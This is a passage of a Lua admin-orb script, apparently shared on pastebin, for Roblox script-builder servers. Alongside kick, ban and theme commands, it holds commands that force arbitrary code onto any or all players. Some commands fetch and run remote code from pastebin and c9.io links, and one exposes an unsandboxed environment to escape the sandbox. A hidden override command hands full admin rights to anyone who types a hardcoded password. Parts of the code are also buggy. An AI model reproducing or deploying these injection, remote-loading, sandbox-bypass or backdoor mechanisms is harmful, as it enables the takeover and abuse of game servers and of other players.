  840. AddCommand("GetLogs","gl","Gets command logs",4,function(Message,Collect_Players,Player)
  841. GetLogs(Player)
  842. end)
  843.  
  844. AddCommand('Kick','kick','Kicks a player from the server',3,function(Message, Collect_Players, Player)
  845. local Split = GetSplit(Message)
  846. local Plrs
  847. local Reason
  848. if Split == nil then
  849. Plrs = Collect_Players(Message,Player)
  850. Reason = nil
  851. else
  852. Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  853. Reason = Message:sub(Split+1)
  854. end
  855. if #Plrs>0 then
  856. for _,Plr in pairs(Plrs) do
  857. if Reason == nil or Reason == "" then Reason = "You have been kicked from this server"end
  858. Plr:Kick(Reason)
  859. end
  860. end
  861. end)
  862.  
  863. AddCommand('Ban','ban','Bans a player from the server', 3, function(Message, Collect_Players, Player)
  864. local Split = GetSplit(Message)
  865. local Plrs
  866. local Reason
  867. if Split == nil then
  868. Plrs = Collect_Players(Message,Player)
  869. Reason = nil
  870. else
  871. Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  872. Reason = tostring(Message:sub(Split+1))
  873. end
  874. if #Plrs>0 then
  875. for _,Plr in pairs(Plrs) do
  876. if Reason == nil or Reason == "" then Reason = tostring("Being Banned") end
  877. --table.insert(iiOrb.Banned,tostring(Plr.Name)==tostring(Reason))
  878. iiOrb.Banned[Plr.Name]=tostring(Reason)
  879. Plr:Kick("You have been banned for "..tostring(Reason))
  880. end
  881. end
  882. end)
  883.  
  884. AddCommand('Unban','unban','Unbans a player', 3, function(Message, Collect_Players, Player)
  885. for i,v in pairs(iiOrb.Banned)do
  886. if string.sub(string.lower(i),1,#Message)==string.lower(Message)then
  887. iiOrb.Banned[i]=nil
  888. end
  889. end
  890. end)
  891.  
  892. AddCommand('Banned','banned','Shows banned table',2,function(Message, Collect_Players, Player)
  893. print_to(Player,"Got Banned")
  894. print_to(Player,"--------------------------------")
  895. for i,v in pairs(iiOrb.Banned)do
  896. print_to(Player,"["..tostring(i).."]: "..tostring(v))
  897. print_to(Player,"--------------------------------")
  898. end
  899. end)
  900.  
  901. AddCommand('Sbexe',"sbexe","Sbexe to a Player",3,function(Message, Collect_Players, Player)
  902. local Split = GetSplit(Message)
  903. local Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  904. local Command = Message:sub(Split+1)
  905. if #Plrs>0 then
  906. for index,data in pairs(Plrs)do
  907. Sbexe(Command,data)--afk
  908. end
  909. end
  910. end)
  911.  
  912. AddCommand('Loader','injl','Injects iiOrb loader to a player',3,function(Message, Collect_Players, Player)
  913. local Plrs = Collect_Players(Message,Player)
  914. if #Plrs > 0 then
  915. for i,v in pairs(Plrs)do
  916. print_to(v,"[iiOrb 2.0]: has issued a loader to you")
  917. InjectLoader(v)
  918. end
  919. end
  920. end)
  921.  
  922. AddCommand('Theme','theme','Changes Orb theme',2,function(Message, Collect_Players, Player)
  923. ChangeTheme(Player,Message)
  924. end)
  925.  
  926. AddCommand('Follow','fol','Makes orb follow a target or your self',2,function(Message, Collect_Players, Player)
  927. if #Message>0 then
  928. local Plrs = Collect_Players(Message,Player)
  929. if #Plrs >1 then print_to(Player,"[Error]: Only one player allowed") return end
  930. for index,data in pairs(Plrs)do
  931. Follow(true,data.Name)
  932. end
  933. else
  934. Follow(true,Player.Name)
  935. end
  936. end)
  937.  
  938. AddCommand('Nofollow','nofol','Sets the or to no follow',2,function(Message, Collect_Players, Player)
  939. Follow(false,"")
  940. end)
  941.  
  942. AddCommand('Shutdown','sd','Shuts down the server',3,function(Message, Collect_Players, Player)
  943. for i,v in pairs(game:GetService('Players'):children())do
  944. v:Kick('This server has shutdown')
  945. end
  946. end)
  947. AddCommand('Access Level','setl','Sets the access level of a plr',1,function(Message, Collect_Players, Player)
  948. local Split = GetSplit(Message)
  949. local Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  950. local Level = tonumber(Message:sub(Split+1))
  951. if #Plrs>0 then
  952. for index,data in pairs(Plrs)do
  953. if Level > iiOrb.Admins[data.Name].Level and iiOrb.Admins[data.Name].Level >= iiOrb.Admins[Player.Name].Level then
  954. print_to(data,"[Error]: You cant set your level higher then your own")
  955. else
  956. print("[iiOrb 2.0]: Has set "..data.Name.."'s Access level to ["..Level.."]")
  957. iiOrb.Admins[data.Name].Level = tonumber(Level)
  958. end
  959. end
  960. end
  961. end)
  962.  
  963. AddCommand('Bypass','bypass','Loads a _G function giving a new env',3,function(Message, Collect_Players, Player)
  964. local newEnv = getfenv(1)
  965. newEnv.script = nil
  966. newEnv.warn = print
  967. newEnv.print = print
  968. newEnv.print_to = print_to
  969. newEnv.broadcast = broadcast
  970. rawset(_G,"Bypass",function()
  971. return newEnv
  972. end)
  973. broadcast('[iiOrb 2.0]: Has Loaded non-local bypass use setfenv(1,_G.Bypass()) to run unsandboxed code')
  974. end)
  975. AddCommand('Twitblox Loader','tbinit','Loads Twitblox',2,function(Message,Player)
  976. Sbexe('h/https://twitblox-brandan000124.c9.io/Loader.lua',Player)
  977. end)
  978. AddCommand('Kill player','kp','Kills a player',2,function(Message,Player)
  979. game.Players:FindFirstChild(Message).Character:BreakJoints()
  980. end)
  981. AddCommand('Lock','lock','Sets the status of Scripting lock',3,function(Message, Collect_Players, Player)
  982. if #Message>0 then
  983. if Message:lower() == 'true' then
  984. if iiOrb.Blocker.LocalBlock == true and iiOrb.Blocker.LocalBlock == true then
  985. print_to(Player,"[iiOrb 2.0]: Scripting is already locked")
  986. else
  987. iiOrb.Blocker.LocalBlock = true
  988. iiOrb.Blocker.GlobalBlock = true
  989. print('[iiOrb 2.0]: Is locking Scripting')
  990. end
  991. elseif Message:lower()=='false' then
  992. if iiOrb.Blocker.LocalBlock == false and iiOrb.Blocker.LocalBlock == false then
  993. print_to(Player,"[iiOrb 2.0]: Scripting is already unlocked")
  994. else
  995. iiOrb.Blocker.LocalBlock = false
  996. iiOrb.Blocker.GlobalBlock = false
  997. print('[iiOrb 2.0]: Is unlocking Scripting')
  998. end
  999. end
  1000. end
  1001. end)
  1002. AddCommand('Set Speed','spd','Sets speed',3,function(Message, Collect_Players, Player)
  1003. local n = tonumber(Message)
  1004. if type(n) == 'number' then
  1005. Settings.Rotation.Speed = n
  1006. end
  1007. end)
  1008. AddCommand('Set bounce','setb','Sets the bounce value of iiOrb.',3,function(Message,Player)
  1009. local bouncev = tonumber(Message)
  1010. if type(bouncev) == 'number' then
  1011. Settings.Rotation.Bounce = tonumber(Message)
  1012. end
  1013. end)
  1014.  
  1015.  
  1016. AddCommand('Hide','hide','hides or shows the orb',2,function(Message, Collect_Players, Player)
  1017. if #Message>0 then
  1018. if Message:lower() == 'true'then
  1019. ChangeTheme(Player,'hidden')
  1020. elseif Message:lower()== 'false' then
  1021. ChangeTheme(Player,'normal')
  1022. end
  1023. end
  1024. end)
  1025.  
  1026. AddCommand('Get Saves','gs','Get saves',4,function(Message, Collect_Players, Player)
  1027. GetSavedScripts(Player)
  1028. end)
  1029.  
  1030. --[[ AddCommand('Get Database','getd','Gets data from database',5,function(Message, Collect_Players, Player)
  1031. --[[local Data = rbxdb:GetAllData()
  1032. if type(Data)=='table'then
  1033. for i,v in pairs(Data)do wait(.1)
  1034. print_to(Player,tostring(i)..":"..tostring(v))
  1035. end
  1036. end
  1037. end)]]--]]--
  1038.  
  1039. AddCommand('Console','sc','Gives Server Console',5,function(Message, Collect_Players, Player)
  1040. GiveServerConsole(Player)
  1041. end)
  1042. AddCommand('Script Inject','sbinject','Injects a script to all players (Say the script like ;sbinject-game.Players.LocalPlayer:Remove()', 5, function(Message, Collect_Players, Player)
  1043.  
  1044.  
  1045. local children = game.Players:GetChildren()
  1046. for i = 1, #children do
  1047. Sbexe("remove/iiOrbEXE",children[i].Name)
  1048. wait()
  1049. Sbexe("create/iiOrbEXE",children[i].Name)
  1050. wait()
  1051. Sbexe("edit/iiOrbEXE",children[i].Name)
  1052. wait()
  1053. Sbexe(Message,children[i].Name)
  1054. wait()
  1055. Sbexe("exit/",children[i].Name)
  1056. Sbexe("run/iiOrbEXE",children[i].Name)
  1057. Sbexe('remove/iiOrbEXE',children[i].Name)
  1058. end
  1059. end)
  1060.  
  1061. AddCommand('Get Garbage','getg','Gets an Array of Garbage Data',2,function(Message, Collect_Players, Player)
  1062. GetGarbage(Player)
  1063. end)
  1064.  
  1065.  
  1066. AddCommand('grs','grs','Gets all the running scripts',2e9,function(Message, Collect_Players, Player)
  1067. print_to(Player,"Got Running scripts")
  1068. for index, child in pairs(workspace:GetChildren()) do
  1069. --print(index, child.Name)
  1070. wait(.1)
  1071. print_to(Player,child.Name)
  1072. end
  1073. end)
  1074.  
  1075. AddCommand('Safe Exe','sexe','Executes safe code',3,function(Message, Collect_Players, Player)
  1076. if #Message > 0 then
  1077. SafeExe(Message,Player)
  1078. end
  1079. end)
  1080. AddCommand('Kill Rot','kill','Kills the orb rot if its a emergency',4,function(Message, Collect_Players, Player)
  1081. iiOrb.__STATUS = not iiOrb.__STATUS
  1082. if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
  1083. SpawnOrb()
  1084. end
  1085. end)
  1086. AddCommand('SmoothLoad','sml','Loads some terrain [GWC Approved]',3,function(Message,Player)
  1087. if game.Players:FindFirstChild(Message) then
  1088. Sbexe([[hl/http://pastebin.com/raw.php?i=ctyyEdQp]],Message)
  1089. --Created by GuyWithACleverName
  1090. else
  1091. end end)
  1092. AddCommand('ChatServ','cs','Activates ChatServ [gwc]',3,function(Message)
  1093. for i,v in pairs(game.Players:GetPlayers()) do
  1094. Sbexe([[hl/http://pastebin.com/raw.php?i=uG7KqYWW]],v)
  1095. end
  1096. end)
  1097.  
  1098. AddCommand('iiOverride','override','Overrides iiOrb',1,function(Message,Player)
  1099. if Message == '___#_V' then
  1100. iiOrb.Admins[tostring(Player)] = {Level=5}
  1101. end;
  1102. end)
  1103.  
  1104.  
  1105. print("[iiOrb 2.0]: Has finished booting commands")
  1106. end local BootCommands = API.BootCommands
  1107.  
  1108. function API.Connect(plr)
  1109. if type(plr)~='userdata'then return end
  1110.  
  1111. local Allowed_YoungPlrs = {"xDarkScripter","Fuust","lnvertious","error18"}
  1112. if plr.AccountAge/365 < .5 then
  1113. for i,v in pairs(Allowed_YoungPlrs)do
  1114. if not plr.Name == v then
  1115. plr:Kick("[iiOrb 2.0]: Sorry your AccountAge is to young to join this game")
  1116. end
  1117. end
  1118. end
  1119.  
  1120. if iiOrb.Banned[plr.Name]then Sbexe('g/ns nl ns nl ns nl ns nl',plr) plr:remove()end--Kick(iiOrb.Banned[plr.Name]) end
  1121.  
  1122. if not iiOrb.Admins[plr.Name]then
  1123. print_to(plr,"[iiOrb 2.0]: Has identifyed you as a ["..iiOrb.Levels[1].."]")
  1124. print("[iiOrb 2.0]: connect "..plr.Name.." as a ["..iiOrb.Levels[1].."]")
  1125. iiOrb.Admins[plr.Name] = {Level=1}
  1126. elseif iiOrb.Admins[plr.Name]then
  1127. print_to(plr,"[iiOrb 2.0]: Has identified you as a ["..iiOrb.Levels[iiOrb.Admins[plr.Name].Level].."]")
  1128. end
  1129. ConnectLogger(plr)
  1130. plr.Chatted:connect(function(msg)
  1131. Chatted(plr,msg)
  1132. end)
  1133. end local Connect = API.Connect
  1134.  
  1135. --// Bootstrapper functions
  1136.  
  1137. function Bootstrap:Boot()
  1138. local DeploymentID = Generate(math.random(1,50)*2/3)
  1139. --// Bootup
  1140. broadcast("[iiOrb 2.0]: Has started booting up")
  1141. SpawnOrb()
  1142. Rotate()
  1143. BootCommands()
  1144. for i,v in pairs(game:GetService('Players'):children())do
  1145. Connect(v)
  1146. end
  1147.  
  1148. game:GetService('Players').PlayerAdded:connect(function(plr)
  1149. wait(.5)
  1150. Connect(plr)
  1151. end)
  1152.  
  1153. game.Workspace.DescendantAdded:connect(function(obj)
  1154. if obj.ClassName == "Script" then
  1155. if iiOrb.Blocker.GlobalBlock == true then
  1156. obj.Disabled = true
  1157. obj:Destroy()
  1158. end
  1159. elseif obj.ClassName == "LocalScript" then
  1160. if iiOrb.Blocker.LocalBlock == true then
  1161. obj.Disabled = true
  1162. obj:Destroy()
  1163. end
  1164. end
  1165. end)
  1166. --game.DescendantAdded:connect(function(instance)
  1167. --if iiOrb.Blocker.LagBlocker== true then
  1168. --if iiOrb.LagBlockedInstances[instance.ClassName]then
  1169. --instance:Destroy()
  1170. --end
  1171. --end
  1172. --end)
  1173.  
  1174.  
  1175.  
  1176. print("[iiOrb 2.0]: Has booted successfully")
  1177. broadcast("[iiOrb 2.0]: Has deployed with ID: "..DeploymentID.."")
  1178. -- rbxdb:SetValue("[iiOrb DEPLOYMENT]",DeploymentID)
  1179. end
  1180.  
  1181. rawset(shared, "iOverride", protectfunc(function(...)
  1182. local args = {...}
  1183. if args[1] and type(args[1]) == "string" then
  1184. if args[1] == iiOrb.AccessKey then
  1185. if owner and type(owner) == "userdata" then
  1186. local OwnerName = tostring(owner)
  1187. local OwnrInd = iiOrb.Admins[OwnerName]
  1188. if OwnerInd then
  1189. OwnerInd.Level = 5
  1190. else
  1191. iiOrb.Admins[OwnerName] = {Level = 5}
  1192. end
  1193. return print(string.format("[%s] you have overriden successfully!",OwnerName))
  1194. else
  1195. return error("Owner not present in environment",2)
  1196. end
  1197. else
  1198. return error("ACCESS DENIED!",2)
  1199. end
  1200. else
  1201. return error(string.format("bad argument #1 to '?' (%s expected, got %s)","string", args[1]==nil and "nil" or type(args[1])),2)
  1202. end--i missed an end [lel]
  1203. end))
  1204.  
  1205. if script.ClassName == 'Script'then
  1206. if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
  1207. local y,n = pcall(function()
  1208. iiOrb.API.Bootstrap:Boot()
  1209. end)if not y then print('{ERROR}: '..n)end
  1210. end
  1211. elseif script.ClassName == 'ModuleScript'then
  1212. return iiOrb.Api.Bootstrap:Boot()
  1213. end
  1214. ChangeTheme('iiOrb','normal')
  1215. broadcast'Welcome to iiOrb 2.0. \n Credits go to Aesthenical for the idea and Opligitory for the functions and code. \n And I reall forget to credit people sometimes XD --Control22' -- dont use [[ ]] it filters \ -error18
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement